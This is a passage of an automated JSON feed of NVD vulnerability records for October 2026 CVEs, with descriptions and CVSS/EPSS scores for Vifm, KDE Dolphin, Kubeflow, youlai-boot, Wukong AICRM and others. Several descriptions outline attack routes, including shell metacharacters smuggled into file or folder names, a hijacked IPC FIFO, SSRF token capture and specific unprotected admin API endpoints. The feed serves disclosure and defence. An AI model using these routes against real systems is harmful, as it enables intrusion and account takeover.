world-writable vifm-ipc-vifm FIFO and write IPC packets with -c and ! shell commands that execute with the victim's privileges.","detail":"Vifm 0.8.1-beta through 0.14.4 reuses a pre-existing IPC FIFO in the shared temporary directory without checking ownership, allowing local users to execute commands as another user. Attackers can pre-create a world-writable vifm-ipc-vifm FIFO and write IPC packets with -c and ! shell commands that execute with the victim's privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:48.917Z","updatedAt":"2026-10-17T02:17:18.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110237","asOf":"2026-10-17T02:17:18.340Z"},"epss":{"probability":0.00149,"percentile":0.04062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110237","type":"primary","publishedAt":"2026-10-13T19:18:48.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110236","cveId":"CVE-2026-110236","aliases":[],"kind":"vulnerability","title":"KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the...","summary":"KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the {path} placeholder. Attackers can embed a double quote and shell metacharacters in a directory name to escape quoting in slotDoubleClickViewBackground, executing commands when victims double-click the view background.","detail":"KDE Dolphin 24.08.0 through 26.08.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted folder names substituted into the {path} placeholder. Attackers can embed a double quote and shell metacharacters in a directory name to escape quoting in slotDoubleClickViewBackground, executing commands when victims double-click the view background.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:48.770Z","updatedAt":"2026-10-13T19:30:29.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110236","asOf":"2026-10-13T19:30:29.797Z"},"epss":{"probability":0.01008,"percentile":0.62822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110236","type":"primary","publishedAt":"2026-10-13T19:18:48.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110233","cveId":"CVE-2026-110233","aliases":[],"kind":"vulnerability","title":"Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names.","summary":"Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names. Attackers can deliver a file named with shell metacharacters like & alongside a payload, which runs with user privileges when the file is opened through open_file.","detail":"Rovr through 0.10.3 on Windows contains an OS command injection vulnerability that allows attackers to execute commands by crafting malicious file names. Attackers can deliver a file named with shell metacharacters like & alongside a payload, which runs with user privileges when the file is opened through open_file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:48.327Z","updatedAt":"2026-10-14T17:18:24.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110233","asOf":"2026-10-14T17:18:24.787Z"},"epss":{"probability":0.01184,"percentile":0.6757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110233","type":"primary","publishedAt":"2026-10-13T19:18:48.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110220","cveId":"CVE-2026-110220","aliases":[],"kind":"vulnerability","title":"Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the...","summary":"Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants' InferenceServices cluster-wide.","detail":"Kubeflow Model Registry through 0.3.17 contains a server-side request forgery vulnerability that allows namespace users to steal the controller ServiceAccount token via the modelregistry.kubeflow.org/url annotation. Attackers can create an InferenceService pointing the annotation at their server, capture the bearer token, and modify other tenants' InferenceServices cluster-wide.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:46.413Z","updatedAt":"2026-10-13T19:30:29.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110220","asOf":"2026-10-13T19:30:29.797Z"},"epss":{"probability":0.00305,"percentile":0.23087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110220","type":"primary","publishedAt":"2026-10-13T19:18:46.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110217","cveId":"CVE-2026-110217","aliases":[],"kind":"vulnerability","title":"Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET...","summary":"Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET /chat/hrs. Low-privileged operators can collect administrator password hashes, phone numbers, and addresses from the serialized Hr entity for offline cracking and privilege escalation.","detail":"Lenve vhr through commit 03abbd3 contains an information disclosure vulnerability that allows any authenticated user to retrieve other operators' BCrypt password hashes via GET /chat/hrs. Low-privileged operators can collect administrator password hashes, phone numbers, and addresses from the serialized Hr entity for offline cracking and privilege escalation.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:45.937Z","updatedAt":"2026-10-14T17:18:24.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110217","asOf":"2026-10-14T17:18:24.373Z"},"epss":{"probability":0.00577,"percentile":0.47274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110217","type":"primary","publishedAt":"2026-10-13T19:18:45.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110216","cveId":"CVE-2026-110216","aliases":[],"kind":"vulnerability","title":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler...","summary":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler lacks a @PreAuthorize check. Attackers can send PATCH requests to /api/v1/users/{userId}/status to disable root or admin accounts, locking administrators out, or re-enable accounts an administrator has disabled.","detail":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler lacks a @PreAuthorize check. Attackers can send PATCH requests to /api/v1/users/{userId}/status to disable root or admin accounts, locking administrators out, or re-enable accounts an administrator has disabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:45.790Z","updatedAt":"2026-10-16T23:16:59.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110216","asOf":"2026-10-16T23:16:59.993Z"},"epss":{"probability":0.00436,"percentile":0.37628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110216","type":"primary","publishedAt":"2026-10-13T19:18:45.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110215","cveId":"CVE-2026-110215","aliases":[],"kind":"vulnerability","title":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT...","summary":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT /api/v1/roles/{roleId}/menus. Low-privileged users such as the GUEST test account can grant all permissions to their own role, refreshing the Redis permission cache to gain administrator-equivalent access.","detail":"youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows authenticated users to assign arbitrary menu and button permissions to roles via PUT /api/v1/roles/{roleId}/menus. Low-privileged users such as the GUEST test account can grant all permissions to their own role, refreshing the Redis permission cache to gain administrator-equivalent access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:45.640Z","updatedAt":"2026-10-13T19:30:29.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110215","asOf":"2026-10-13T19:30:29.797Z"},"epss":{"probability":0.00411,"percentile":0.35029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110215","type":"primary","publishedAt":"2026-10-13T19:18:45.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110211","cveId":"CVE-2026-110211","aliases":[],"kind":"vulnerability","title":"iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE...","summary":"iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE /api/cli/v1/skills/{namespace}/{slug}. Attackers can locate targets through the anonymous search endpoint and trigger deletion without ownership checks, purging all versions, files, reviews, ratings and metadata.","detail":"iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE /api/cli/v1/skills/{namespace}/{slug}. Attackers can locate targets through the anonymous search endpoint and trigger deletion without ownership checks, purging all versions, files, reviews, ratings and metadata.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:45.037Z","updatedAt":"2026-10-16T23:16:59.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110211","asOf":"2026-10-16T23:16:59.837Z"},"epss":{"probability":0.00427,"percentile":0.36642,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110211","type":"primary","publishedAt":"2026-10-13T19:18:45.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110209","cveId":"CVE-2026-110209","aliases":[],"kind":"vulnerability","title":"Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected...","summary":"Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected ApiConfigController and SystemConfigController endpoints. Attackers can query the api-config get/list and system config endpoints to obtain AI provider API keys, proxy passwords and mail_password, enabling billing abuse and sending mail as the platform.","detail":"Stonewuu ai-fusion-video through 1.2.0 contains a missing authorization vulnerability that allows authenticated non-admin users to read stored secrets through unprotected ApiConfigController and SystemConfigController endpoints. Attackers can query the api-config get/list and system config endpoints to obtain AI provider API keys, proxy passwords and mail_password, enabling billing abuse and sending mail as the platform.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:44.740Z","updatedAt":"2026-10-13T20:17:27.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110209","asOf":"2026-10-13T20:17:27.490Z"},"epss":{"probability":0.00476,"percentile":0.40834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110209","type":"primary","publishedAt":"2026-10-13T19:18:44.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110208","cveId":"CVE-2026-110208","aliases":[],"kind":"vulnerability","title":"Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API...","summary":"Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API key. Attackers can request GET /systemConfig/byType/ai for the cleartext key, or send a chosen apiUrl to /systemConfig/ai/test, forwarding the stored key to their host.","detail":"Wukong AICRM through 20260610 contains a missing authorization vulnerability in the /systemConfig controller that allows any authenticated user to read the stored AI provider API key. Attackers can request GET /systemConfig/byType/ai for the cleartext key, or send a chosen apiUrl to /systemConfig/ai/test, forwarding the stored key to their host.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:44.590Z","updatedAt":"2026-10-14T16:17:39.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110208","asOf":"2026-10-14T16:17:39.983Z"},"epss":{"probability":0.00393,"percentile":0.33185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110208","type":"primary","publishedAt":"2026-10-13T19:18:44.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110207","cveId":"CVE-2026-110207","aliases":[],"kind":"vulnerability","title":"Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs...","summary":"Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs because no administrator check exists. Attackers can send POST requests to /managerUser/updateUser to reset the admin account's password and assign themselves the \"all\" role, achieving full administrator account takeover.","detail":"Wukong AICRM through 20260610 contains a missing authorization vulnerability that allows any authenticated user to call user, role, department and agent administration APIs because no administrator check exists. Attackers can send POST requests to /managerUser/updateUser to reset the admin account's password and assign themselves the \"all\" role, achieving full administrator account takeover.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 